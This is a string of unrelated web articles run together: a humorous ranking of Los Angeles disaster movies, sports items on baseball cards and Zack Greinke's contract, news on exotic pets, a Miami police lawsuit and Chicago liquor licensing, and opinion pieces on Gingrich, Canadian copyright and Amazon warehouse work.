So, in the annals of filmmaking, we've had plenty of examples of L.A. getting toppled. But do they actually tell us something about our eventual demise? That seems like a pretty important thing to know in these times. To be sure, the movies aren't backed by a lot of sound science. But, for the sake of amping up our paranoia, lets take a look at the different ways we've perished on film, and see which are the most spectacular and worthy of Los Angeles.
Note: Yes I made a reference to 8MM. So what.
NUCLEAR ATTACK
Likelihood of It Happening: 2.5/5
Level of Destruction: 5/5
Cinematic Factor: 4/5
Perhaps the most timely scenario on this list, as North Korea has announced that it's close to having an intercontinental ballistic missile that could reach the West Coast (though public failures have cast doubt on this claim).
If it does happen, it's nothing we haven't seen before. We were among the first victims of "Judgement Day" in the Terminator series, of course, when a kind of Siri-offshoot dumps a nuclear bomb on the Southland. The destruction, as projected in Sarah Conner's dream, was total; Metro buses were tossed around like Micro Machines; buildings crumbled to debris; humans were turned to ashen statues, and those statues later blew up (which seems like a gratuitous sequence of events, but whatever). The most unsettling aspect of this scene was how slow it seemed. You'd think a nuclear attack would happen in a flash (at least for the people near the epicenter), but in Terminator it moves at a pace that's painfully glacial.
In 1988's Miracle Mile, the nuclear holocaust is also mercilessly slow, if in a different fashion—much of the movie focuses on the panic and paranoia that descends on L.A. during the moments before the bomb drops. This gives plenty of time for everyone to freak out and attempt a desperate (and futile) run for their lives. The movie makes a wry observation at the end: the La Brea Tar Pits are a good place to be if you want to preserve yourself from the blast.
To be sure, a nuclear attack would make for some great special effects. So, the cinematic quotient is there. And death by light and fire is as classic as they come for Los Angeles—as Joan Didion remarked in Slouching Toward Bethlehem, "The city burning is Los Angeles’s deepest image of itself…. At the time of the 1965 riots what struck the imagination most indelibly were the fires. For days one could drive the Harbor Freeway and see the city on fire, just as we had always known it would be in the end.”
GEOLOGICAL EVENT
Likelihood of It Happening: 5/5
Level of Destruction: 3/5
Cinematic Factor: 2/5
An earthquake! Certainly, it's the most probable scenario of the bunch. We keep getting warnings that one is just around the corner, and scientists are still realizing just how extensive the network of fault lines is. Just earlier this year, researchers learned that a set of fault lines off the coast is actually part of one continuous fault that stretches from the Los Angeles basin down to San Diego (and it's 60 years overdue for a major quake, which is nice).
Surprisingly, this apocalyptic event hasn't been so ubiquitous on the big screen. The best example would be the aptly titled Earthquake (which had the distinction of being Mario Puzo's followup to The Godfather movies). In the movie, a 9.9 quake topples Los Angeles and reduces it to a field of rubble. This is more impressive in theory than on film, however; the montage of falling debris and people squirming on their feet gets tiring after a brief spell. Earthquake wades into even more boredom later on, expounding on the message that, hey, the drama doesn't actually exist in the tumult itself, but in the little human interactions that take place afterward. Yawn. There's a marginally more exciting quake in Roland Emmerich's 2012, though aside from John Cusack driving a limo, as well as a brief cameo by Randy's Donuts, this also gets tiresome in a quick minute. The irony is unmistakable: L.A.'s signature natural disaster doesn't translate so well on screen.
One geological event that does make for great viewing? A giant volcano that, somehow, researchers had overlooked for decades in a massive showing of ineptitude. This was the case in Volcano, which sent a river of magma flowing down the streets of L.A. To be sure, Dr. Lucy Jones would find the scenario laughable, but the event is proudly extravagant. It mixed fire with seismic activity, and came replete with actual brimstone, satisfying our taste for pyrotechnics.
FREAK WEATHER
Likelihood of It Happening: 1/5
Level of Destruction: 4/5
Cinematic Factor: 4/5
As we lag in our efforts to cut back on greenhouse-gas emissions, global warming continues to take its toll. For one thing, researchers say that California may lose up to 67% of its coasts by 2100, thanks in part to changing storm patterns caused by climate change.
The destruction is decidedly real. For the big screen, however, it happens at a pace that's too incremental to be captured on a second-by-second scale. The solution? Speed everything up to a manic pace. In The Day After Tomorrow the Earth plunges into a new Ice Age as the North Atlantic Current goes out of whack. As a result, a series of tornadoes touches down on L.A. and goes on a touristy jaunt, destroying everything from the Hollywood Sign to the Capitol Records tower. And in case tornadoes are too tame for our tastes, there's also the the prospect of sharknadoes, aka a freak atmospheric event in which sharks are scooped up by a cyclone and tossed on land (this was introduced in the made-for-TV Sharknado). This improbable atmospheric phenomena may be bad for our infrastructure, but great for the withering careers of B-listers such as Ian Ziering and Tara Reid.
One note about tornadoes (and other sudden atmospheric occurrences such as freak snowstorms or monsoons), they're invariably film-able when placed in the context of L.A., as inclement weather is so anathema to Southern California. There's a great sense of juxtaposition here, as well as a feeling that us weather-loving dopes are getting our just desserts. This is the fate that the rest of the country wishes upon us.
ALIEN INVASION
Likelihood of It Happening: 1/5
Level of Destruction: 3.5/5
Cinematic Factor: 5/5
Intergalactic space travelers, being the brainiacs they are, know that the best way to demoralize a planet is to desecrate its most beloved iconography. This means targeting the most photographed cities and landmarks across Earth. (I guess a close second priority would be to kill a lot of humans.)
As such, L.A. has been a popular destination spot for extraterrestrials who are looking for new pad to crash. The most devastating example of which was in the first Independence Day, when aliens blew up the U.S. Bank Tower without so much as a "hello," sending a wall of flames crashing down the streets of downtown. In 1953's The War of the Worlds, our overlords were a bit more surgical in their methods; they sent out individual starships to pulverize the city in piece-meal fashion. City Hall is treated to a brief closeup when it gets doused with death rays—the explosion effects are pretty spectacular by 1950s standards.
Aliens aren't all about fireworks, however. Perhaps the smarter ones find it too bombastic and wasteful to atomize an entire city. In John Carpenter's They Live, for instance, they arrive quietly to infiltrate Los Angeles, with intentions of turning denizens into mindless slaves of consumerism (I'm not really sure what the end goal is, but hey, I'm just a dumb human). In Predator 2, their motives are even more modest; L.A. is turned into a kind of game reserve where Angelenos are the hunted wildlife. Which is all to say that total destruction is not guaranteed with an alien invasion; sometimes we're kept alive for their nefarious motives.
At any rate, extraterrestrials make for a great time on film. From their colossal spaceships, to their slimy epidermises, to their impressive arsenal, they are our best option for an epic finale. We should be so lucky.
THE PARANORMAL AND MISCELLANY
Likelihood of It Happening: 0/5
Level of Destruction: 1/5
Cinematic Factor: 5/5
We presume that ghosts won't cause mass destruction, but we can't overlook the fact that (in film) Los Angeles is a town populated with ghastly specters and other forms of the undead.
Is there a message to be learned here? Does the proliferation of ghosts serve as commentary on urban sprawl? That development infringes on the sanctity of a land that had existed long before our arrival? This argument is most evident in 1982's Poltergeist, in which a nuclear family discovers that their quaint community was built on top of an ancient cemetery in Southern California (it's in Simi Valley, specifically, which isn't technically in L.A. County). In Carpenter's Prince of Darkness, a church in Little Tokyo is discovered to house the essence of Satan (in liquid form!), and in Sam Raimi's Drag Me to Hell, an unseen entity lurks in the shadows and waits for its chance to drag Angelenos to (where else?) hell.
And as if L.A. isn't already beleaguered by a slew of unwanted spirits, we also have to contend with an assortment of boogie men in the flesh. Scream 3 ushered in the newest copycat killer who wants to off Neve Campbell, and The Purge franchise showed us what happens when you don't vote. We also had our brush-up with zombies, as seen in 1984's Night of the Comet, in which a passing comet leaves a chemtrail of zombifying space dust.
As terrifying as these prospects are, the damage is largely confined to specific families and/or certain cliques at San Dimas High. The level of destruction, then, is often minimal, but it all depends on if our protagonist can, at the very last moment, recite the passage that will shut off that swirling vortex that acts as a gate to hell.The odds of getting a Russell Wilson Texas Rangers baseball card are about the same as Wilson actually ever playing for the Rangers.
That hasn’t stopped collectors from trying to snap up a Rangers’ version of Wilson, which went on sale this week as part of the Topps Bowman release.
The super-short printed card of the Rangers never-to-be second baseman is already a hot seller on eBay. One of them sold Thursday for $189.
Why so much for a baseball card of a football player who the Rangers acquired in the Rule 5 draft last year? That’s because the chances are a Rangers or Seattle Seahawks fan isn’t going to have one in their collection. In the big jumbo package of Bowman, the chances of pulling a Wilson card is about 1 in 4,900 packs. That’s a sure thing considering the odds of getting a Wilson card in some retail versions are as high as 1 in 24,800 packs.
If packs of baseball cards still included gum, that would make for a lot of chewing before you came across a Wilson card. It almost makes $189 seem like a bargain for a baseball-carding having football player.CHICAGO (AP) Warning: young children should not keep hedgehogs as pets — or hamsters, baby chicks, lizards and turtles, for that matter — because of risks for disease.
That's according to the nation's leading pediatricians' group in a new report about dangers from exotic animals.
Besides evidence that they can carry dangerous and sometimes potentially deadly germs, exotic pets may be more prone than cats and dogs to bite, scratch or claw — putting children younger than 5 particularly at risk, the report says.
Young children are vulnerable because of developing immune systems plus they often put their hands in their mouths.
That means families with children younger than 5 should avoid owning "nontraditional" pets. Also, kids that young should avoid contact with these animals in petting zoos or other public places, according to the report from the American Academy of Pediatrics. The report appears in the October edition of the group's medical journal, Pediatrics.
"Many parents clearly don't understand the risks from various infections" these animals often carry, said Dr. Larry Pickering, the report's lead author and an infectious disease specialist at the federal Centers for Disease Control and Prevention.
For example, about 11% of salmonella illnesses in children are thought to stem from contact with lizards, turtles and other reptiles, Pickering said. Hamsters also can carry this germ, which can cause severe diarrhea, fever and stomach cramps.
Salmonella also has been found in baby chicks, and young children can get it by kissing or touching the animals and then putting their hands in their mouths, he said.
Study co-author Dr. Joseph Bocchini said he recently treated an infant who got salmonella from the family's pet iguana, which was allowed to roam freely in the home. The child was hospitalized for four weeks but has recovered, said Bocchini, head of the academy's infectious diseases committee and pediatrics chairman at Louisiana State University in Shreveport.
Hedgehogs can be dangerous because their quills can penetrate skin and have been known to spread a bacteria germ that can cause fever, stomach pain and a rash, the report said.
With supervision and precautions like hand-washing, contact between children and animals "is a good thing," Bocchini said. But families should wait until children are older before bringing home an exotic pet, he said.
Those who already have these pets should contact their veterinarians about specific risks and possible new homes for the animals, he said.
Data cited in the study indicate that about 4 million U.S. households have pet reptiles. According to the American Veterinary Medical Association, all kinds of exotic pets are on the rise, although generally fewer than 2% of households own them.
The veterinarian group's Mike Dutton, a Weare, N.H., exotic animal specialist, said the recommendations send an important message to parents who sometimes buy exotic pets on an impulse, "then they ask questions, sometimes many months later."
But a spokesman for the International Hedgehog Association said there's no reason to single out hedgehogs or other exotic pets.
"Our recommendation is that no animal should be a pet for kids 5 and under," said Z.G. Standing Bear. He runs a rescue operation near Pikes Peak, Colo., for abandoned hedgehogs, which became fad pets about 10 years ago.
Copyright 2008 The Associated Press. All rights reserved. This material may not be published, broadcast, rewritten or redistributed.Gingrich wins South Carolina
Newt Gingrich claims a decisive victory in the 2012 South Carolina Republican primary. Mitt Romney comes in second place even with the endorsement and support of South Carolina Governor Nikki Haley. Newt Gingrich’s campaign caught fire with a message attacking poor children, President Obama, and the mainstream media. Apparently when you run on the message that poor kids in America need to get a job as janitors, mainstream media shouldn’t try to shine a spotlight on a candidates infidelities, and President Obama is a “food stamp” president, it resonates with the South Carolina Evangelical Christian G.O.P. voters.
So if I have this correct, in South Carolina, it is better to cheer a candidate for his infidelities than to support a President who provides assistance to families in need. Let’s be clear, it was the policies of the Bush Administration that drove this country into the worst recession since the great depression back in the 1930s. As a result, a lot of American families are hurting and are in need of government assistance. Now Mr. Gingrich wants to call our current President a “food stamp president.” Throughout history, Americans who have had the same views as the modern day far-right extremists or the modern day G.O.P. ideology, have forced the federal government to take action to preserve the American dream for all Americans. Just for fun let me remind you of a few of these instances.
The Equal Employment Opportunity Act of 1972. This act by the federal government would not have been necessary in America if it were not for those Americans who had the same views as the modern day far-right extremists. If you can remember, this is the law that ensures that employment discrimination in American is not tolerated.
The Fair Labor Standards Act of 1938 (Minimum Wage). This act by the federal government was passed so that workers were properly compensated for their work, and also prohibited child labor. This was yet another act by the federal government that would not have been necessary if it were not for those Americans who had the same views as the modern day far-right extremists.
Affirmative Action of 1961 was similar to the Equal Employment Act which was again the federal government (John F. Kennedy & Lyndon B Johnson) giving executive orders for employers to hire without regard to race and on an equal opportunity basis. Again this action would not have been necessary if it were not for those Americans who had the same views as the modern day far-right extremists.
Brown V. Board of Education of Topeka (1954) was a huge decision by the U.S. Supreme court (Federal Court). The opinion of this nation’s highest federal court in this case stated that the segregation of schools allowed by the states violated the fourteenth Amendment of the Constitution. I bet you can’t guess what would have ever made a court case like this necessary.
Are you starting to see a pattern here yet? As I fast forward this article to the year 2012, I’d like to point out the fact that we’ve all heard about how modern day far-right extremist have huge issues and disagreements with the federal government. They want “smaller government.”, federal government is “too big”, etc, etc, etc. If we look at the examples given above and understand the pattern that it shows, we can come to a conclusion of what the main issue is. Far-right extremist and the federal government are on the opposite sides of the spectrum when it comes to the issues of equality and fairness in America.
Make no mistake, it was these very same far-right extremist voters that propelled Newt Gingrich to victory in South Carolina. He gave them what they wanted. A message attacking poor kids, President Obama, the federal government, and the mainstream media. Congratulations Mr. Gingrich! You won that round. Now the G.O.P. circus moves on to the state of Florida.Four years ago, Jamie Brandt lived on Bay Street, which runs along the north end of San Francisco and within a couple of miles of the Golden Gate Bridge.
“Every night, when the fog rolled in, I used to listen to that foghorn blow and blow and blow,” Brandt, the San Francisco 49ers vice president of ticket operations, said. “So I fell in love with literally the sound of the foghorn for personal reasons and then did the research and found that we had some history with it as a team.”
Candlestick Park was long the home of a foghorn… but for Giants games. It wasn’t until 2012, when Brandt and now-Levi’s® Stadium engineering operations director, worked to install one at The ‘Stick for 49ers games.
“I just Googled steamship foghorns, and this is what we came up with,” said Rogan, who mirrored the process for Levi’s® Stadium’s own foghorn earlier this year.
The team started using the foghorn at The ‘Stick in ’12 to celebrate scoring plays and, with three bursts of sound, notify fans 90 minutes, 60 minutes and 30 minutes before a given game’s kickoff.
“A ritualistic experience is what we were really shooting for, something to call our own,” Brandt said. “We wanted to be as genuine as possible, really pure San Francisco, and so we secured the same vendor that supplied the Golden Gate Bridge National Park service with its foghorn. So the sound is exactly the same.”
“This is something that is unique to us. It’s something that everybody who is from here knows it as soon as they hear it.”
Now Levi’s® Stadium has its own foghorn, painted red and installed under the south-side video board. The Kahlenberg-made foghorn type is built for 200 meter-plus ships and can blow 130 decibels for 22 seconds straight. (A jet engine is at the 140-decibel level from 100 feet away, according to this comparison chart.) When the Wisconsin-based company shipped the foghorn to the 49ers, it included Green Bay Packers paraphernalia in the boxes. (It was quickly tossed in the garbage.) The aluminum, approximately-50-pound foghorn was then painted 49er red.
There will be a new spin on its tradition at the 49ers new home: An “energizer of the game” each week will energize it before kickoff.
We asked 49ers vice president and executive producer Robert Alberino Jr. for some details.
“Who will this “energizer” be? That changes for every home game,” Alberino said. “Expect notable alumni, celebrities, musicians, team dignitaries and maybe a super fan or two. Regardless, it’s the one moment to unify The Faithful right before the ball is kicked off.”
← Back to NewsWhile Other Countries Debate Copyright Terms, Canada Just Takes Record Labels' Word That It Needs To Increase
from the because-of-course dept
Copyright is monopoly, and produces all the effects which the general voice of mankind attributes to monopoly. My honorable and learned friend talks very contemptuously of those who are led away by the theory that monopoly makes things dear. That monopoly makes things dear is certainly a theory, as all the great truths which have been established by the experience of all ages and nations, and which are taken for granted in all reasonings, may be said to be theories. It is a theory in the same sense in which it is a theory, that day and night follow each other, that lead is heavier than water, that bread nourishes, that arsenic poisons, that alcohol intoxicates.
If, as my honorable and learned friend seems to think, the whole world is in the wrong on this point, if the real effect of monopoly is to make articles good and cheap, why does he stop short in his career of change? Why does he limit the operation of so salutary a principle to sixty years? Why does he consent to anything short of a perpetuity? He told us that in consenting to anything short of a perpetuity he was making a compromise between extreme right and expediency. But if his opinion about monopoly be correct, extreme right and expediency would coincide. Or rather why should we not restore the monopoly of the East India trade to the East India Company? Why should we no revive all those old monopolies which, in Elizabeths reign, galled our fathers so severely that, maddened by intolerable wrong, they opposed to their sovereign a resistance before which her haughty spirit quailed for the first and for the last time? Was it the cheapness and excellence of commodities that then so violently stirred the indignation of the English people?
I believe, Sir, that I may safely take it for granted that the effect of monopoly generally is to make articles scarce, to make them dear, and to make them bad. And I may with equal safety challenge my honorable friend to find out any distinction between copyright and other privileges of the same kind; any reason why a monopoly of books should produce an effect directly the reverse of that which was produced by the East India Companys monopoly of tea, or by Lord Essexs monopoly of sweet wines. Thus, then, stands the case. It is good that authors should be remunerated; and the least exceptionable way of remunerating them is by a monopoly. Yet monopoly is an evil. For the sake of the good we must submit to the evil but the evil ought not to last a day longer than is necessary for the purpose of securing the good.
Thank you for your recent letter regarding the copyright term for sound recordings. I have reviewed this material carefully, and share your view that the current term of copyright protection for sound recordings falls short of what is required to protect artists and ensure they are fairly compensated for their work.
Please know that, as announced today in Budget 2015, our Government will extend copyright protection for sound recordings from 50 to 70 years. The extension will be incorporated into the Budget Implementation Act, and will be in effect immediately upon passage of the legislation.
The letter is remarkable as it confirms that the copyright term extension for sound recordings was strictly the product of behind-the-scenes industry lobbying with no broader public consultation or discussion. While other countries spent years debating the issue with careful study, the Canadian government simply caved on the issue based on a little lobbying from foreign record labels. The Conservative government did not consult with Canadian companies or retailers about the impact of their changes, nor did they dig into the data that would have revealed that this change will decrease revenues for many artists. Instead, the major record labels pulled out all the stops to block competitive new records from entering the marketplace and the Prime Minister obliged by including copyright reforms in a budget bill.
Pretty much since the dawn of copyright, there have been debates about what the proper length of copyright's term should be. Sometimes these debates can be heated and passionate. Go all the way back to 1841, in the UK, where Thomas Macaulay gave his famous speech against copyright term extension, in which he noted how it was being done based on no actual evidence of necessity:Since then, of course, there have been many, many debates on the proper length of copyright terms. But usually, at the very least there is some debate about it, with people weighing in on various sides.That's why it was somewhat astounding, last month, when Canada just announced with no warning that it was extending copyright as part of aupdate. There was no discussion around it. No public debate. Nothing at all.And, now, as Michael Geist has discovered, Prime Minister Stephen Harper's correspondence with the recording industry shows that he just decided to ratchet up copyright term himself, without even asking for public input or even bothering to consider how such a move might harm the public.This is quite incredible on many different levels. Harper must know that any change to copyright law is controversial and deserves public debate and discussion. After all, he's been through a few debates concerning copyright reform in Canada. Did he really think that he could just do this without anyone noticing?And, really, considering that this is a move to flat out, you'd have to think that it's only appropriate to at least hold a public discussion about whether or not extending copyright in such a manner makes sense. But, nope. The head of the Canadian recording industry lobby sent a letter, and Harper said "Sure, let's slip that into the budget."As Michael Geist notes, the whole thing is incredible on many levels:
Filed Under: canada, copyright, copyright terms, debate, lobbying, stephen harperThe next major free agent off the board is almost certainly going to be Zack Greinke. According to a wide number of reports, Greinke has narrowed his choices down to the Dodgers and Giants, and is pitting the two NL West rivals against each other with the goal of landing a six year deal at the highest annual average value of any player in baseball history; reportedly, he’s asking for $35 million per season, so if he gets six years, he’d end up with $210 million guaranteed. Even if he has to settle for five years and some kind of sixth year option, that’s still $175 million guaranteed at the AAV he’s seeking.
That’s a bit higher than the 5/$160M I predicted at the start of the off-season, and blows away the crowd’s expected 6/$156M valuation. On the one hand, when the Dodgers are bidding on someone, you can say that the dollars are irrelevant, because they have so much much money that the difference of a few million per year just doesn’t really matter. But this doesn’t seem like it’s just the Dodgers blowing away the competition to get the guy they want back; the Giants are reportedly being very competitive on price, making Greinke’s decision difficult.
And while Greinke is an excellent pitcher, there isn’t a lot of evidence that he’s a $200 million pitcher. For his career, he’s graded out as about a +4 WAR pitcher, regardless of whether you use ERA or FIP, and he’s headed into his age-32 season. Rationally, he’s going to get worse during his next deal, and even if you start him around his career average of +4 WAR — Steamer projects +4.1 for 2016 — then you’re looking at a pitching performance that projects to be worth about $150 million over the next six years.
Zack Greinke’s Contract Estimate — 6 yr / $151.2 M Year Age WAR $/WAR Est. Value 2016 32 4.1 $8.0 M $32.8 M 2017 33 3.6 $8.4 M $30.2 M 2018 34 3.1 $8.8 M $27.3 M 2019 35 2.6 $9.3 M $24.1 M 2020 36 2.1 $9.7 M $20.4 M 2021 37 1.6 $10.2 M $16.3 M Totals 17.1 $151.2 M Assumptions
Value: $8M/WAR with 5.0% inflation
Aging Curve: +0.25 WAR/yr (18-27), 0 WAR/yr (28-30),-0.5 WAR/yr (31-37),-0.75 WAR/yr (> 37)
Greinke’s going to beat that estimate by something like $50 million, but that doesn’t necessarily mean the Dodgers and Giants have lost their minds; it’s simply a reflection of the fact that Zack Greinke adds value in ways that aren’t measured by pitching metrics. Jeff covered his fielding prowess the other day, noting that of late, DRS has rated Greinke as about six runs above average per season with his defensive work, excluding the fact that he’s very difficult to steal bases off of. As the piece notes, Greinke even seems to be trending upwards in defensive value, and while fielding isn’t a nut anyone has completely cracked yet, the consensus does seem to be that pitcher fielding is something that is more consistent from year to year than defensive performance at other positions. The fact that Greinke has beaten his FIP three years in a row, while improving at fielding balls hit back to him, is probably not a coincidence.
Greinke’s also excellent at preventing base stealers, which DRS also measures; when you add that into the calculations, Greinke has averaged +6 DRS per 200 innings throughout his career. Even if we regress him back to something like +3 or +4 runs saved as a fielder going forward, Greinke’s worth a few million more than just his pitching projection would suggest, based on his ability to help himself on defense.
But that’s not the only way Greinke helps himself on days when he pitches. Because he’s an NL pitcher, he also hits, and no pitcher in baseball hits better than Greinke. Over the last three years, he’s hit.249/.300/.357, good for a.292 wOBA, 22 points better than Madison Bumgarner, and relative to a replacement-level hitting pitcher, he’s added +2.8 WAR with his bat during that stretch. How well his offensive production will hold up as he ages is an open question, but the spread in talent among pitcher hitting means that he doesn’t have to be great to still be valuable at the plate; the rest of his peers set a very low bar. Again, we have to regress his observed performance when looking at a future projection, but it seems reasonable to expect something in the range of four of five extra runs per season from Greinke’s bat.
Steamer’s +4.1 WAR projection is just for his pitching, but between his offense and his defense, he’s probably something more like a +5 WAR pitcher. And if you bump him to that level, and |
sitcom Designing Women,[1] in the episode "Oh Brother", which first aired on 18 January 1988. Grizzard played the role of Clayton Sugarbaker, the half-brother of Julia and Suzanne Sugarbaker. Clayton was a former mental patient aspiring to be a stand-up comedian.
Grizzard had a somewhat troubled life, battling alcoholism, and going through three divorces. He was voted "The Author From Hell" at a publishing convention for his behavior on book tours. He also suffered from a congenital heart defect - a valve problem. In his own words, "There are three little leaflets that control the flow of blood to the heart. I was born with only two of those leaflets. It was just after the Great War, so there may have been a shortage. Either that or my daddy didn't get a good toe-hold." His near-death after his third valve-replacement surgery in 1993 brought in over 50,000 letters from well-wishers. He later attributed his miraculous recovery to the prayers of his fans.
Some time after marrying for the fourth time, Grizzard died of complications of his fourth heart-valve surgery. Grizzard suffered from brain damage, according to one report,[citation needed] from lack of oxygen to his brain. Had he survived, he would have been quite impaired. In accordance with his wishes, his body was cremated, and some of his ashes were scattered at the 50-yard line of the Sanford Stadium at the University of Georgia. The typewriter he used to author columns about the Atlanta Braves 1991 "worst to first" season is on display in the library of the University of Georgia's Grady College of Journalism and Mass Communication.
Grizzard never fathered any children, but he did adopt [4] Jordan, the daughter of his fourth wife.
A Lewis Grizzard Museum, featuring personal effects and professional memorabilia such as his typewriter, is now open in Moreland, GA. Originally housed in a gas station by a fan, it has been moved to a new two-story museum complex (the former Moreland Mill).[5]A couple of hours after the Miami Heat won its second-straight NBA championship title in 2013, François Alexandre was partying in the streets alongside hundreds of other blissed-out fans. Late into the night, as the crowd thinned to about 20 people, Alexandre says, a group of City of Miami bicycle cops turned their bikes sideways, created a wall, and began to march forward to push people away from downtown.
That's when, Alexandre says, his perfect night of Heat celebration turned into a bloody beatdown. After trying to help a woman who fell in front of him, Alexandre claims, he was clotheslined and then walloped by nine cops, who broke the orbital bone in his eye.
Alexandre is now suing the city, Miami Police Chief Rodolfo Llanes, and nine Miami cops — including outspoken police union chief Lt. Javier Ortiz.
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Ortiz, an active cop who heads Lodge 20 of the Fraternal Order of Police, made national headlines earlier this year by organizing a boycott of Beyoncé performances over her black-power-referencing Super Bowl performance in 2016. That boycott failed.
Twitter storms regularly erupt around Ortiz, who is quick to defend cops caught in controversial situations: After the shooting of Alton Sterling in Baton Rouge this year, Ortiz said on Facebook that the shooting was "more than justified." When unarmed behavioral technician Charles Kinsey was shot in North Miami in July, Ortiz dismissed the shooting as media "sensationalism." And when Cleveland Police killed 12-year-old Tamir Rice in 2014, Ortiz later offered this: "Act like a thug, and you'll be treated like one."
Ortiz has also faced legal controversies. Earlier this year, he was sued by a man who claims Ortiz wrongfully arrested him on the Rickenbacker Causeway. Ortiz was also sued after allegedly tasering a man at Ultra Music Festival in 2011. After the festival settled that case for $400,000, Ortiz was banned from working at Ultra. But he instead fought back and filed a grievance demanding he not only be allowed to work the event but also be paid for the Ultra festivals he was banned from working.
In the latest lawsuit, Ortiz's lawyer, Oscar Marrero, said Ortiz himself had not yet been served with Alexandre's suit and thus could not comment on the specifics.
"Lieutenant Ortiz is an excellent officer," Marrero said. "The filing of a lawsuit does not mean anyone did anything wrong, and he will exercise his constitutionally protected right to aggressively defend the case." Through his lawyer, Ortiz denied any wrongdoing.
The City of Miami, meanwhile, does not comment on active litigation as a matter of policy.
via Javier Ortiz's Facebook
According to the suit, the night of June 21, 2013 — hours after the Heat's clinching win — Alexandre began shouting at the cops as they marched their bicycle wall at him that he, "as a taxpayer, had rights."
"Suddenly and without provocation, an officer ran at [Alexandre] and violently tackled him by 'clotheslining' him with an arm around his throat," the suit alleges. It does not name which officer clotheslined Alexandre. "[Alexandre], taken completely unawares, was violently thrown down and dragged by his neck into an alcove formed by a doorway and entrance into his apartment building. This alcove effectively trapped [Alexandre], so that he was easy to pin down and restrain, and kept him, and the beating he sustained, shielded from view."
The suit then says five cops jumped on Alexandre and began beating him while he lay motionless. Another cop allegedly ran up wielding a baton, he claims, but the five other cops were crowded around Alexandre too tightly, forcing that cop to leave.
After Alexandre was handcuffed and transported to a police station, the suit says, an officer tasked with taking him to the Turner Guilford Knight Correctional Center was so upset by Alexandre's medical condition that the cop drove him to Jackson Memorial Hospital instead. There, Alexandre says, he was taken to the hospital's Bascom Palmer Eye Institute for the fractured orbital bone in his left eye socket.
Alexandre's lawyer, Leonard Fenn, says Ortiz signed one of the police reports during Alexandre's arrest. On Facebook, New Times found photographs Ortiz posted on his Facebook page showing he was patrolling the championship celebrations on a bike that night:
via Javier Ortiz's Facebook
Alexandre is suing the City of Miami, Llanes, and nine cops for unlawful arrest, excessive force, violations of his rights to peacefully assemble, and battery, among other charges.
Fenn tells New Times that, in addition to being compensated for his damages, Alexandre — who now volunteers as a community activist and holds a Florida International University degree — would like to see some sort of policy change made throughout the department.
Alexandre says he was taunted while the cops beat him. Fenn says, "There was no need to taunt a person you just beat up. The fact that these guys made these taunting remarks just shows this was personal. The cops were ticked off that he wasn’t cowed and he wasn’t afraid of them. That's the kind of attitude we don’t need."by BRIAN NADIG
The proposed lifting of a moratorium to allow a liquor license to be issued for a new bar in the former Bill’s Pub, 4104 N. Pulaski Road, has been delayed, while the possibility of a late-night license for Brudder’s Lounge, 3600 W. Addison St., has raised concern among area residents.
Alderman Margaret Laurino (39th) introduced an ordinance last month that would lift the moratorium on issuing new liquor licenses on Pulaski between the Kennedy Expressway and Berteau Avenue so that the new owner of the pub could obtain a tavern license. Moratoriums must cover a minimum two-block area, and when a moratorium is lifted, it cannot be reinstated for at least a year.
However, the proposal is being delayed to allow the city Law Department to review the matter because that the moratorium covers portion of both the 39th and 45th wards, Laurino spokesman Manuel Galvan said. If the new owner applies for a new license instead of a transfer of the pub’s license, a zoning change would be required for the project.
Under the moratorium, new tavern licenses cannot be issued and existing ones can only be transferred to a family member or to an owner who submits a petition with the signatures of at least 51 percent of the registered voters who live with 500 feet of the site. Moratoriums generally do not affect restaurants.
The pub is in a two-story building at 4104 N. Pulaski Road that contains several storefronts and residential units. "It would be a net gain of zero liquor licenses in that area," Galvan said. "Old Irving and West Walker (neighborhood associations) were contacted, and none of them had a problem with Bill’s Pub."
Meanwhile, Brudder’s owner George Michael said that he is considering petitioning for a late-night liquor license but that the plan will not move forward without residents’ support.
"I am kind of isolated here," Michael said. "They tore down the building next to me. We have not had a fight inside the bar in 20 years. Even if I get it, it does not mean I would stay open until 4 a.m. It may be cost-prohibitive."
Under its current license, Brudder’s can stay open until 2 a.m., with a 3 a.m. closing time on Saturday nights, but a late-night license would extend those times by two hours. To obtain a late-night license, Michael would have to submit to the liquor commissioner a petition in favor of the change signed by more than half of the registered voters who live within 500 feet of the site.
Alderman John Arena’s chief of staff Owen Brugh said that Arena opposes a late-night license for the site and that several neighborhood organizations are organizing against the proposal. "The signature requirement is not an easy hurdle," Brugh said.
The Old Irving Park Association urged residents in its April newsletter not to sign a petition supporting late hours because it is "a quality of life issue impacting all of us."
In 2013 the License Appeal Commission reversed an earlier finding that an individual believed to be associated with a previous establishment on the site, the Vibe Lounge, interfered with a city inspection. However, the commission upheld a 10-day license suspension in connection with the 2012 incident.
Michael also owned the Vibe, according to the commission.The Institute for Local Self-Reliance (ILSR) recently released an in-depth report on Amazon, and this week, ILSR and Jobs With Justice partnered to produce a fact sheet that looks at how Amazon is undermining working people. This post highlights ILSR’s findings on how this fast-growing corporation is increasingly at the center of many alarming economic trends.
When an Amazon box lands on the doorstep in as little as an hour after it’s ordered, it can seem like magic. Behind that magic, though, lies a vast network of warehouses—often nondescript, windowless buildings on the outskirts of cities—where tens of thousands of people unload and sort goods, pick and pack orders, and prepare to deliver those boxes.
These women and men describe their jobs as exceptionally grueling. They report racing across warehouses that can sprawl the distance of more than a dozen football fields; frequent bending and squatting; and production quotas that are set impossibly high—by one measure 60 percent above the industry standard. “The worst part was getting on my hands and knees 250 to 300 times a day,” a man working as a picker in a Pennsylvania warehouse told the paper The Morning Call, adding that he was expected to pick 1,200 items in a 10-hour shift, and that frequently involved fishing items out of bins near the floor. “It’s actually impossible to meet the productivity standards and do so safely,” Beth Gutelius, a researcher who has studied Amazon, told us.
Despite these demands and risks, Amazon treats its employees as expendable. Roughly 40 percent of the people working in Amazon warehouses are temporary employees who lack job benefits and security. Though Amazon refers to these positions as “seasonal,” we found that it relies on temporary employees year-round and hires many of these workers through staffing agencies. By not hiring people directly, Amazon skirts liability for injuries and mistreatment they suffer on the job.
Amazon’s regular direct hires are scarcely better off. Average wages for warehouse work are already low, and Amazon pays its employees even less. We looked at Amazon’s wages in 11 metro areas and found that it pays an average of 15 percent less than the prevailing wage for comparable work. In Atlanta, for instance, where Amazon has three large facilities, Amazon’s wages are 19 percent lower than the prevailing warehouse wage, and 29 percent below the living wage for the region.
Addressing working conditions at Amazon is a task taking on new urgency because the corporation is rapidly coming to dominate the retail industry. Online shopping is booming, and our analysis estimates that Amazon is now capturing nearly one in every two dollars that Americans spend online. Already it sells more books, toys, and by later this year, apparel and consumer electronics than any retailer, online or off, and it is investing heavily in its grocery business.
